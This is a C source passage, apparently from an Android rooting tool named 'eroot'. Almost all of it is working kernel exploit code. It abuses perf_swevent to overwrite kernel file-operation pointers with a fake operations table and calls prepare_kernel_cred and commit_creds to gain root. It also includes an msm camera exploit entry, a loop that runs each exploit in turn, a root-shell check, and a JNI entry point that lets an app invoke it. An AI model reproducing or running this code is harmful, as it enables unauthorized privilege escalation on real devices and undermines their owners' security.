    unsigned long magic, total, written, c;
    char tmp[32];

    magic = p->preset.perf_swevent_enabled;
    if (!magic) return -1;
    p->n = value / PERF_SWEVENT_MAX_FILE + 2;
    p->pids = (pid_t *) calloc(p->n, sizeof(pid_t));
    p->rfds = (int *) calloc(p->n, sizeof(int));
    i = 0;
    total = value;
    while (total) {
        c = total;
        if (c > PERF_SWEVENT_MAX_FILE)
            c = PERF_SWEVENT_MAX_FILE;
        rc = perf_event_abuse(magic, address, c, &p->pids[i], &p->rfds[i]);
        if (rc < 0) {
            LOGV(" fork() failed: %s.", strerror(errno));
            break;
        }
        rc = read(p->rfds[i], tmp, sizeof(tmp));
        if (rc > 0) {
            tmp[rc - 1] = 0;
            written = strtoul(tmp, 0, 10);
            total -= written;
            LOGV(" child#%d#%d: assigned %d, completed %s, left %d.", i, p->pids[i], c, tmp, total);
        }
        i++;
    }
    if (total) return -1;
    return 0;
}

static int perf_prepare_ptmx(struct eroot_ctx *ctx) {
    int rc;
    unsigned long address, value;
    struct eroot_perf_private *p;
    
    rc = perf_prepare_gather(ctx);
    if (rc < 0) return -1;
    p = (struct eroot_perf_private *) ctx->opaque;
    if (!prepare_kernel_cred ||
        !commit_creds ||
        !p->preset.target_fops ||
        !p->preset.perf_swevent_enabled)
        return -1;
    p->low_size = sysconf(_SC_PAGESIZE);
    // XXX: min mmap addr
    p->low_addr = mmap((void *) 0x4000, p->low_size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE, 0, 0);
    address = p->preset.target_fops + p->preset.target_fops_off;
    if (p->low_addr != MAP_FAILED && ((unsigned long) p->low_addr < (unsigned long) fake_op)) {
        // XXX: magic number
        memcpy(p->low_addr, fake_op, 512);
        value = (unsigned long) p->low_addr;
    } else {
        value = (unsigned long) fake_op;
    }
    return perf_prepare_write(p, address, value);
}


struct eroot_exploit_proc {
    const char *name;
    int (*gather)(struct eroot_ctx *);
    int (*prepare)(struct eroot_ctx *);
    int (*exploit)(struct eroot_ctx *);
    int (*cleanup)(struct eroot_ctx *);
};

static struct eroot_exploit_proc elist[] = {
    {
        "msm camera",
        generic_gather,
        msm_camera_prepare,
        generic_exploit_mmap,
        msm_camera_cleanup,
    },
    
//    {
//        "bu lai yi fa ma?",
//        generic_gather,
//        yaranaika_prepare,
//        generic_exploit_mmap,
//        yaranaika_cleanup,
//    },
    {
        NULL,
        NULL,
        NULL,
        NULL,
        NULL
    }
};

/**
 * return 0 if get root
 *
 * */
static int b22() {
    int i, rc;
    //char *args[] = {"/system/bin/sh", "-", 0};
    struct eroot_exploit_proc *p;
    struct eroot_ctx ctx;
    FILE *fp;
    char line[1024];
    void *libcutils;

    if (!getprop || !socket_local_client) {
        libcutils = dlopen("libcutils.so", RTLD_NOW);
        if (!libcutils) return -1;
            getprop = (property_get_t) dlsym(libcutils, "property_get");
        if (!socket_local_client)
            socket_local_client = (socket_local_client_t) dlsym(libcutils, "socket_local_client");
        if (!getprop) {
            dlclose(libcutils);
            return -1;
        }
    }
    memset(&ctx, 0, sizeof(ctx));
    getprop("ro.product.model", ctx.model, "");
    // f@ck HUAWEI
    getprop("ro.build.display.id", ctx.buildid, "");
    LOGV("eroot started.");
    LOGV(" model: %s", ctx.model);
    LOGV(" buildid: %s", ctx.buildid);

//    LOGV("dumping arguments:");
//    for (i = 0; i < argc; i++)
//        LOGV(" %s", argv[i]);


//    LOGV("dumping maps:");
//    fp = fopen("/proc/self/maps", "r");
//    if (fp) {
//        while (!feof(fp)) {
//            fgets(line, sizeof(line), fp);
//            i = 0;
//            while (i < sizeof(line) - 1) {
//                if (line[i] == '\n' || line[i] == '\r') {
//                    line[i] = 0;
//                    break;
//                }
//                i += 1;
//            }
//            line[i] = 0;
//            LOGV(" %s", line);
//        }
//        fclose(fp);
//    }


    for (i = 0; (p = &elist[i]); i++) {
        if (!p->name) break;
        if (!ctx.kernel_text_addr) {
            rc = p->gather(&ctx);
            if (rc < 0)
                break;
        }
        LOGV("trying %s...", p->name);
        rc = p->prepare(&ctx);
        if (rc < 0) {
            p->cleanup(&ctx);
            continue;
        }
        rc = p->exploit(&ctx);
        p->cleanup(&ctx);
        if (!rc) break;
    }
    LOGV("eroot exited with status %d.", rc);

#ifndef BUILD_SHARED_LIBRARY
    if (getuid() == 0 || geteuid() == 0) {
    	rc = 0;
        LOGV("execution failed, but obtained root shell.-)");
        //execv(args[0], args);
    }
#endif
    return rc;
}


exploit_t EXPLOIT_b22 = {
    .name = "b22",
    .call_direct = b22,
};


void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(b22);

    *list = exp;
}


#ifdef BUILD_SHARED_LIBRARY

int JNI_OnLoad(JavaVM *vm, void *reserved) {
    return JNI_VERSION_1_4;
}

int Java_com_guheihei_eroot_RootHelper_run(JNIEnv *env, jclass clz, jobject args) {
    int rc, i, argc;
    char **argv;
    jobject *objs;

    if (args == 0) return -1;
    argc = (*env)->GetArrayLength(env, args);
    if (argc == 0) return -1;
    argv = (char **) malloc(sizeof(char *) * (argc + 1));
    objs = (jobject *) malloc(sizeof(jobject) * argc);
    for (i = 0; i < argc; i++) {
        objs[i] = (*env)->GetObjectArrayElement(env, args, i);
        argv[i] = (char *) (*env)->GetStringUTFChars(env, objs[i], 0);
    }
    argv[argc] = 0;
    rc = main(argc, argv);
    for (i = 0; i < argc; i++) {
        (*env)->ReleaseStringUTFChars(env, objs[i], argv[i]);
        (*env)->DeleteLocalRef(env, objs[i]);
    }
    free(objs);
    free(argv);
    return rc;
}

#endif

